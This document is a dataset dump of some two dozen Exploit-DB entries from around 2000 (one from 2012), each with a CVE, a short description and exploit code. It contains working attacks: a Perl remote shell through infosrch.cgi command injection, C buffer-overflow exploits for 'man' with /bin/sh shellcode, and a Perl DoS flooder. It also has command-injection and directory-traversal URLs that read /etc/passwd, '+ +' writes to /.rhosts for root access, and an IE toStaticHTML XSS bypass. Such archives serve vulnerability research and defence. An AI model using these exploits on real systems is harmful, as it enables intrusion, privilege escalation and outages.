QLWD/code_shield huggingface dataset:
标题: SGI InfoSearch 1.0 / SGI IRIX 6.5.x - fname EDB-ID: 19788 CVE: 2000-0207 类型: REMOTE 平台: IRIX 发布日期: 2000-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1031/info

The InfoSearch package converts man pages and other documentation into HTML web content. The search form uses infosrch.cgi which does not properly parse user input in the 'fname' variable, allowing commands to be executed at the webserver privilege level by remote web users.


#!/usr/bin/perl -w
# infosearch.cgi interactive shell. 
# usage: ./infosh.pl hostname
# 3/4/00
# --rpc <h@ckz.org>

use IO::Socket;
use CGI ":escape";
$|++;

die "usage: $0 host\n" unless(@ARGV == 1);
($host) = shift @ARGV;

$cgi = "/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|";

# url encode and send a command.
sub send_cmd
{
 my($url_command) = $cgi . CGI::escape(shift);
 $s = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>"tcp");
 if(!$s) { die "denied.\n"; } 
 print $s "GET $url_command HTTP/1.0\r\n";
 print $s "User-Agent: \r\n\r\n";
 @result = <$s>;
 shift @result until $result[0] =~ /^\r\n/; # uninteresting data. 
 shift @result; $#result--;  
return @result;
}

# draw a pseudo prompt. i like "\h:\w \$ ".
sub prompt
{
 @res = send_cmd("/sbin/pwd"); 
 chomp($pwd = $res[0]);
 print "$host:", $pwd, "\$ ";
}

prompt;
while(!eof(STDIN)) {
 chomp($cmd = <STDIN>);
 print send_cmd($cmd);
 prompt;
} URL: https://www.exploit-db.com/exploits/19788
标题: Axis Communications StorPoint CD - Authentication Bypass EDB-ID: 19784 CVE: 2000-0191 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1025/info

Axis StorPoint CD and Axis StorPoint CD/T are CD ROM servers (actual hardware units)sold by Axis Communications. Both of these appliances support remote management 
via SNMP MIB-II and private enterprise MIB as well as from the web via a system-supplied webserver. In regards to the web based administration, users can completely bypass authentication (username and password) by using a specified URL. The actual login page is located at:

http://server/config/html/cnf_gi.htm

However, by using:

http://server/cd/../config/html/cnf_gi.htm

A user side steps the login page and gains administrative access to the appliance.

http://server/cd/../config/html/cnf_gi.htm URL: https://www.exploit-db.com/exploits/19784
标题: Microsoft Internet Explorer 9 / SharePoint / Lync - toStaticHTML HTML Sanitizing Bypass (MS12-037/MS12-039/MS12-050) EDB-ID: 19777 CVE: 2012-1858 类型: DOS 平台: WINDOWS 发布日期: 2012-07-12 漏洞利用脚本: toStaticHTML: The Second Encounter (CVE-2012-1858)

*HTML Sanitizing Bypass -
*CVE-2012-1858<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1858>

Original advisory -
http://blog.watchfire.com/wfblog/2012/07/tostatichtml-the-second-encounter-cve-2012-1858-html-sanitizing-information-disclosure-introduction-t.html

Introduction

The *toStaticHTML* component, which is found in Internet Explorer > 8,
SharePoint and Lync is used to sanitize HTML fragments from dynamic and
potentially malicious content.

If an attacker is able to break the filtering mechanism and pass malicious
code through this function, he/she may be able to perform HTML injection
based attacks (i.e. XSS).

It has been a year since the first
encounter<http://blog.watchfire.com/wfblog/2011/07/tostatichtml-html-sanitizing-bypass.html>
was
published, we've now returned with a new bypass method.

Vulnerability

An attacker is able to create a specially formed CSS that will overcome *
toStaticHTML*'s security logic; therefore, after passing the specially
crafted CSS string through the *toStaticHTML* function, it will contain an
expression that triggers a JavaScript call.

The following JavaScript code demonstrates the vulnerability:

*<script>document.write(toStaticHTML("<style>
div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}
</style><div>POC</div>"))</script>*

In this case the function's return value would be JavaScript executable:

*<style>
div{font-family:rgb('0,0,0)''';}foo');color=expression(alert(1));{;}</style>
<div>POC</div>*



The reason this code bypasses the filter engine is due to two reasons:

   1. The filtering engine allows the string "expression(" to exists in
   "non-dangerous" locations within the CSS.
   2. A bug in Internet Explorer's CSS parsing engine doesn't properly
   terminate strings that are opened inside brackets and closed outside of
   them.

When combining these two factors the attacker is able to "confuse" the
filtering mechanism into "thinking" that a string is open when in fact it
is terminated and vice versa. With this ability the attacker can trick the
filtering mechanism into entering a state of the selector context which is
considered safer where in fact the code is just a new declaration of the
same selector, thus breaking the state machine and bypassing the filter.



Impact

Every application that relies on the *toStaticHTML* component to sanitize
user supplied data had probably been vulnerable to XSS.



Remediation

Microsoft has issued several updates to address this vulnerability.

MS12-037 - http://technet.microsoft.com/en-us/security/bulletin/ms12-037

MS12-039 - http://technet.microsoft.com/en-us/security/bulletin/ms12-039

MS12-050 - http://technet.microsoft.com/en-us/security/bulletin/MS12-050 URL: https://www.exploit-db.com/exploits/19777
标题: DNSTools Software DNSTools 1.0.8/1.10 - Input Validation EDB-ID: 19786 CVE: 2000-0177 类型: REMOTE 平台: CGI 发布日期: 2000-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1028/info

A vulnerability exists in the 1.0.8 release of DNSTools (labeled on some areas of their site as 1.08), from DNSTools Software. By manipulating the contents of certain post variables, arbitrary code may be executed.

Note that version 1.10 is reportedly still vulnerable. See message from Wolfgang Wiese <wolfgang.wiese@rrze.uni-erlangen.de> in reference section.

The problem stems from the following code:

$host_name = $CGI->param("host_name"); 
$domain_name = $CGI->param("domain_name");

$error_description = ""; 
my $error_code = system("/usr/local/dnstools/delete_mx -d \"$domain_name\" -n \"$host_name\"");

No escaping or input validation is performed. This makes it easy for a would be attacker to execute arbitrary commands, as the user the webserver or cgi-bin is being run as.

The key to this exploit is causing the system() call to execute commands other than the intended one. The following would cause a directory listing: GET /~jed/cgi-bin/test.pl?domain_name=\"\;ls\" HTTP/1.0 URL: https://www.exploit-db.com/exploits/19786
标题: RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (2) EDB-ID: 19779 CVE: 2000-0170 类型: LOCAL 平台: LINUX 发布日期: 2000-02-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1011/info
 
RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability
 
A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man.
 
Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained.
*/


/*
 * Rewriten from:
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 * by Kil3r of Lam3rZ
 * for nonexec stack environment
 * 
 * redhat 6.1 (and others) /usr/bin/man exploit
*/

        char execshell[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define STRCPY          0x80490e4       // <== strcpy() PLT entry
#define GOT             0x805038c       // <== strcpy() GOT entry
#define NOP             0x90
#define BUFSIZE         4033+38
#define RET             STRCPY          //0x46464646
#define _BIN_SH         0xbfffffe7      // <== where we have "/bin/sh" string,
                                        //    curently useless ;)
#define SHELLCODE       0xbfffffc1

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
        char buf[BUFSIZE], *p;
        char *env[3];
        int *ap;

        memset(buf,NOP,BUFSIZE);

        p=buf+BUFSIZE-4;
        ap=(int *)p;
        *ap++ =RET;
        *ap++ =GOT+4;
        *ap++ =GOT+4;
        *ap++ =SHELLCODE;

        fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);

        memcpy(buf,"MANPAGER=", 9);
        env[0]=buf;
//      env[1]="/bin/sh";
        env[1]=execshell;
        env[2]=(char *)0;
        execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
                                // shellcode and other params at fixed addr!!!

        return 0;
} URL: https://www.exploit-db.com/exploits/19779
标题: HP OpenView OmniBack II 2.55/3.0/3.1 - Denial of Service EDB-ID: 19782 CVE: 2000-0179 类型: DOS 平台: WINDOWS 发布日期: 2000-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/1015/info

Multiple open connections to port 5555 can cause the HP OpenView OmniBack program to crash by consuming 100% CPU cycles. Closing the connections will not alleviate this problem, therefore a manual restart would be required.


#!/usr/bin/perl
#
# Jon Hittner
# Raise the memory size for omnilnet until Windows NT crashes
# Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
# Probably needs to be run several times to crash the system depending
# on the amount of memory in the system.
# This code was written to demo a problem, and I take no respoablity on how
# it's used

use strict; use Socket;

my($y,$h,$p,$in_addr,$proto,$addr);

$h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }

$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
print "TESTING: $h:$p\n";
for ($y=1 ; $y<2500000 ; $y++) {
 socket(S, AF_INET, SOCK_STREAM, $proto);
 connect(S,$addr) or next;
 select S;
 $| = 1;
 select STDOUT;
 send S,"OMNIBACK HAS SOME BIG ISSUES",0;
 }
print "ATTACK COMPLETED!\n"; URL: https://www.exploit-db.com/exploits/19782
标题: The ht://Dig Group ht://Dig 3.1.1/3.1.2/3.1.3/3.1.4/3.2 .0b1 - Arbitrary File Inclusion EDB-ID: 19785 CVE: 2000-0208 类型: REMOTE 平台: UNIX 发布日期: 2000-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/1026/info

ht://dig is a web content search engine for Unix platforms. The software is set up to allow for file inclusion from configuration files. Any string surrounded by the opening singlw quote character ( ` ) is taken as a path to a file for inclusion, for example:
some_parameter: `var/htdig/some_file`

htdig will also allow included files to be specified via form input. Therefore, any file can be specified for inclusion into a variable by any web user.

The URL:
http ://target/cgi-bin/htsearch?Exclude=%60/etc/passwd%60
will return a page with the contents of /etc/passwd in the 'exclude' field. URL: https://www.exploit-db.com/exploits/19785
标题: RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (1) EDB-ID: 19778 CVE: 2000-0170 类型: LOCAL 平台: LINUX 发布日期: 2000-02-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1011/info

RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability

A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man. 

Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained.
*/


/*
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 *
 * redhat 6.1 /usr/bin/man exploit
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP  0x90
#define OFS  1800
#define BUFSIZE  4002
#define ADDRS  1000

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
 char *execshell =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 char *buf, *p;
 int noplen, i, ofs;
 long ret, *ap;

 if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
 {
  perror("malloc()");
  return -1;
 }

 if (argc > 1)
  ofs = atoi(argv[1]);
 else
  ofs = OFS;

 noplen = BUFSIZE - strlen(execshell);
 ret = getesp() + ofs;

 memset(buf, NOP, noplen);
 buf[noplen+1] = '\0';
 strcat(buf, execshell);

 p = buf + noplen + strlen(execshell);
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

 fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

 setenv("MANPAGER", buf, 1);
 execl("/usr/bin/man", "man", "ls", 0);

 return 0;
} URL: https://www.exploit-db.com/exploits/19778
标题: Corel Linux OS 1.0 - 'setxconf' Local Privilege Escalation EDB-ID: 19765 CVE: 2000-0195 类型: LOCAL 平台: LINUX 发布日期: 2000-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts URL: https://www.exploit-db.com/exploits/19765
标题: RedHat Linux 6.0 - Single User Mode Authentication EDB-ID: 19763 CVE: 2000-0219 类型: LOCAL 平台: LINUX 发布日期: 2000-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1005/info

A vulnerability exists in the manner in which RedHat Linux 6.0 protects the obtaining of a shell by booting single user mode. RedHat will prompt for the root password upon entering single user mode. Pressing ^C (causing a SIGINT to be sent) immediately results in a root shell being made available.

boot single user from lilo, and press ^C (control-C) URL: https://www.exploit-db.com/exploits/19763
标题: Nortel Networks Nautica Marlin - Denial of Service EDB-ID: 19766 CVE: 2000-0221 类型: DOS 平台: HARDWARE 发布日期: 2000-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1009/info

A vulnerability exists in the Nortel/Bay Networks Nautica Marlin router pruduct. Sending a 0 byte UDP packet to port 161 (SNMP) to one of these routers will cause it to crash. This attack can be trivially performed using NMAP or other UDP port scanner.

nmap -sU -p 161 hosttodos URL: https://www.exploit-db.com/exploits/19766
标题: Corel Linux OS 1.0 - buildxconfig EDB-ID: 19764 CVE: 2000-0194 类型: LOCAL 平台: LINUX 发布日期: 2000-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1007/info

Several vulnerabilities exist in the buildxconfig program, as included with Corel Linux 1.0. Using this program, it is likely that a local user could elevate privileges.

By failing to check input to the -f and -x flags, it is possible for an attacker to append to existing files, or create files that previously didn't exist. Using the -f argument, and supplying a filename that does exist, it is possible to append information to a file. Using the -x argument, and a file that does exist, it is possible toreplace the first line of any file with the path to the X server selected. Finally, if either flag is passed the name of a file that does not exist, it will create it, with read, write and execute permission available for all users on the system.

Method 1: buildxconfig -f /etc/shadow 

Method 2: buildxconfig -x /etc/passwd

Method 3: 
umask 0 
buildxconfig -x /.rhosts 
echo "+ +" > /.rhosts URL: https://www.exploit-db.com/exploits/19764
标题: Pragma Systems InterAccess TelnetD Server 4.0 - Terminal Configuration EDB-ID: 19760 CVE: 2000-0212 类型: DOS 平台: WINDOWS 发布日期: 2000-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1001/info

The Pragma Systems InterAccess TelnetID Server 4.0 can be crashed by sending invalid, unexpected characters in the client's terminal configuration settings. This causes telnetd.exe to GPF, and will cause the server to stop responding.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19760-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19760-2.zip URL: https://www.exploit-db.com/exploits/19760
标题: Sambar Server 4.2 Beta 7 - Batch CGI EDB-ID: 19761 CVE: 2000-0213 类型: REMOTE 平台: WINDOWS 发布日期: 2000-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1002/info

The Sambar Web/FTP/Proxy Server for Windows NT and 2000 supports DOS-style batch programs as CGI scripts. A remote attacker can use any batch file used by the server in the 'cgi-bin' directory to run any valid command-line program with administrator privileges. This allows the attacker to read, modify, create, or delete any file or directory on the system, including user accounts, etc. Even if the user hasn't enabled or created any batch files, the software ships with two by default: 'hello.bat' and 'echo.bat'.

http://target/cgi-bin/hello.bat?&dir+c:or
http://target/cgi-bin/echo.bat?&dir+c:\ URL: https://www.exploit-db.com/exploits/19761
标题: SCO Unixware 7.1/7.1.1 - ARCserver /tmp Symlink EDB-ID: 19752 CVE: 2000-0224 2000-0154 类型: LOCAL 平台: SCO 发布日期: 2000-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/988/info

A symlink following vulnerability exists in the ARCserve agent, as shipped with SCO Unixware 7. Upon startup, the asagent program will create several files in /tmp. These are created mode 777, and can be removed and replaced by any user on the system. If these are replaced with symlinks, files can be created anywhere on the filesystem, owned by root. This cannot be used to alter the permissions of existing files. However, the contents of the new file are contained in /usr/CYEagent/agent.cfg. This file is world writable. 

echo "+ +" > /usr/CYEagent/agent.cfg
rm /tmp/asagent.tmp
ln -sf /.rhosts /tmp/asagent.tmp URL: https://www.exploit-db.com/exploits/19752
标题: Sun Workshop 5.0 - Licensing Manager Symlink EDB-ID: 19757 CVE: 2000-0210 类型: LOCAL 平台: SOLARIS 发布日期: 2000-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/998/info

A vulnerability exists in the installation of licenses for Sun's WorkShop 5.0 compilers, and other Sun products which use the FlexLM license management system. As part of the installation process, the 'lit' program is run. This program insecurely creates files in /var/tmp. This can be used to create files owned by root, with known contents. The file will be created with root's umask, which by default is 0022.

Lit is not part of Globetrotter's FlexLM distribution. It is a license installation tool supplied by Sun for convenience purposes. This vulnerability does not represent a vulnerability in lmgrd, but a flaw in the license installation process. Running lmgrd as a user other than root, while a good idea, will not eliminate this problem.

ln -sf /.rhost /var/tmp/license_errors URL: https://www.exploit-db.com/exploits/19757
标题: FreeBSD 3.0/3.1/3.2/3.3/3.4 - 'Asmon'/'Ascpu' Local Privilege Escalation EDB-ID: 19756 CVE: 2000-0163 类型: LOCAL 平台: FREEBSD 发布日期: 2000-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/996/info

A vulnerability exists in both the ascpu and asmon ports to FreeBSD. Ascpu and asmon are applets for the popular window manager AfterStep. They retain the look and feel of this window manager, and integrate well in to it's "dock" toolbar. As part of the port to FreeBSD, it was deemed necessary to give them access to /dev/kmem, necessitating them being installed setgid kmem. By passing a command line option, it is possible for an attacker to cause these applications to execute arbitrary commands with group 'kmem' privileges.

It should be noted that neither of these programs are truly part of FreeBSD. They are not part of any distribution of FreeBSD. Instead, they are part of the 'ports' section. The over 3000 packages included in ports are presented as-is, and in many cases have not been audited for security problems.

Exploit:

asmon -e "xterm" URL: https://www.exploit-db.com/exploits/19756
标题: Zeus Web Server 3.x - Null Terminated Strings EDB-ID: 19747 CVE: 2000-0149 类型: REMOTE 平台: CGI 发布日期: 2000-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/977/info

Appending "%00" to the end of a CGI script filename will permit a remote client to view full contents of the script if the CGI module option "allow CGIs anywhere" is enabled. Scripts located in directories which are designated as executable (eg. \cgi-bin) are not vulnerable to this exploit.

http ://target/script.cgi%00

"%00" may be replaced with "%G0", "%W0", "%EW", "%FG", "%UW", or "%VG" in order to achieve the same results. URL: https://www.exploit-db.com/exploits/19747
标题: Pragma Systems InterAccess TelnetD Server 4.0 Build 4 - Buffer Overflow EDB-ID: 19755 CVE: 2000-0166 类型: DOS 平台: WINDOWS 发布日期: 2000-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/995/info

The Pragma Systems InterAccess TelnetID Server 4.0 (Build 4) has an unchecked buffer in the code that handles login commands. Arbitrary code is capable of being executed on the InterAccess TelnetD Server if a string of over 300 characters is used as a login name.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19755-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19755-2.zip URL: https://www.exploit-db.com/exploits/19755
标题: Daniel Beckham The Finger Server 0.82 Beta - Pipe EDB-ID: 19745 CVE: 2000-0128 类型: REMOTE 平台: CGI 发布日期: 2000-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/974/info

'The Finger Server' is a perl script for providing .plan-like functionality through a website. Due to insufficient input checking it is possible for remote unauthenticated users to execute shell commands on the server which will run with the priveleges of the webserver. 

A request like:
http ://target/finger.cgi?action=archives&cmd=specific
&filename=99.10.28.15.23.username.|<shell command>|
(split for readability)
will cause the server to execute whatever command is specified. URL: https://www.exploit-db.com/exploits/19745
标题: Microsoft FrontPage Personal Web Server 1.0/4.0 - Directory Traversal EDB-ID: 19753 CVE: 1999-0386 类型: REMOTE 平台: WINDOWS 发布日期: 1996-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/989/info

Microsoft's Personal Web Server and Front Page Personal Web Server will follow '/..../' strings in requested URLs, allowing remote users to obtain unauthenticated read access to files and directories on the same logical drive as the web content. Hidden files are viewable via this method, although the Front Page directory itself is not. The name and path of the desired file must be known to the attacker.

Note that while these programs support Windows 95, 98 and NT, only the Win9x versions are vulnerable. 

http://target/..../directory/filename.ext URL: https://www.exploit-db.com/exploits/19753